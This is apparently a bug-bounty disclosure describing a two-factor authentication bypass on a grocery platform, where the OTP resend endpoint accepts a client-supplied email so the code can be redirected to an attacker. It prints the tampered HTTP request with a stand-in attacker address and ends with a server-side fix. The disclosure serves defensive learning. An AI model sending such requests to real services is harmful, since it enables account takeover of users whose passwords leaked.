I Asked It to Send the Code to Me Instead

Two-factor authentication is only as strong as the assumption that the code goes to the account owner. This grocery platform broke that assumption in the most literal way possible.

The spark

Logging in to a 2FA-protected account, I hit "resend code" and intercepted the request. Sitting in the body, in plain sight, was the destination email address. My immediate reaction: why is the client allowed to say where the code goes?

Digging in

There wasn't much to dig into — the hypothesis was the whole bug. I changed the email in the resend request from the victim's address to one I controlled and forwarded it.

The one-time code was delivered to both the victim and me.

The server treated "where do I send this OTP?" as user input. It should have been a fact it already knew.

The exploit

Given a victim's credentials (from a breach, reuse, or phishing) but not their inbox:

POST /api/otp/resend HTTP/2
Host: shop.example.com
Content-Type: application/json

{ "email": "attacker@example.com" }   // was the victim's address

Read the code from my own inbox, complete the login, and I'm in — the 2FA gate never actually stood in the way.

Impact

Full bypass of two-factor authentication and account takeover for any account whose password is known. The control that was supposed to save users from credential stuffing simply didn't.

The fix

Look the OTP destination up server-side from the account being authenticated. The client should never be able to name, let alone change, where a second factor is delivered.